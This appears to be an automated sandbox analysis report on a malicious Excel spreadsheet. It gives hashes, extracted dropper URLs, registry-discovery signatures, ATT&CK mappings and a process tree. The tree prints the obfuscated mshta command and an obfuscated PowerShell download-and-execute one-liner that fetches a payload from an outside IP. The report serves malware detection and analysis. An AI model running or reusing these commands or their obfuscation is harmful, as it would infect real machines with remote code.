a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b

General

Target

5bffdae22f776d781cab2ad5309a6154.xls
Size

142KB
MD5

5bffdae22f776d781cab2ad5309a6154
SHA1

7943586d63be16066060c5482073b1313cbc78b0
SHA256

a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b
SHA512

7d1d540e1bb3c4850ae18c0d1fd80082c17b18e4d6c5992c8265ea2c6ba93bce1338669f82ad13115feb56c962bdd3e389173b97c484b325187d482438a4d7e8

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2684	3960	cmd.exe	EXCEL.EXE

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3600 3540 WerFault.exe mshta.exe

pid	pid_target	process	target process
3600	3540	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3960 EXCEL.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

EXCEL.EXE

pid	process
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE
3960	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3960 wrote to memory of 3716	3960	EXCEL.EXE	splwow64.exe
PID 3960 wrote to memory of 3716	3960	EXCEL.EXE	splwow64.exe
PID 3960 wrote to memory of 2684	3960	EXCEL.EXE	cmd.exe
PID 3960 wrote to memory of 2684	3960	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5bffdae22f776d781cab2ad5309a6154.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3960

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3716

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
PID:2684

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
PID:3540

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
PID:3876

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3540 -s 1720
4⤵
- Program crash
PID:3600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3364

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 404 -p 3540 -ip 3540
1⤵
PID:2712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/3960-130-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3960-131-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3960-132-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3960-133-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3960-134-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/3960-137-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Filesize
64KB

Download
memory/3960-138-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads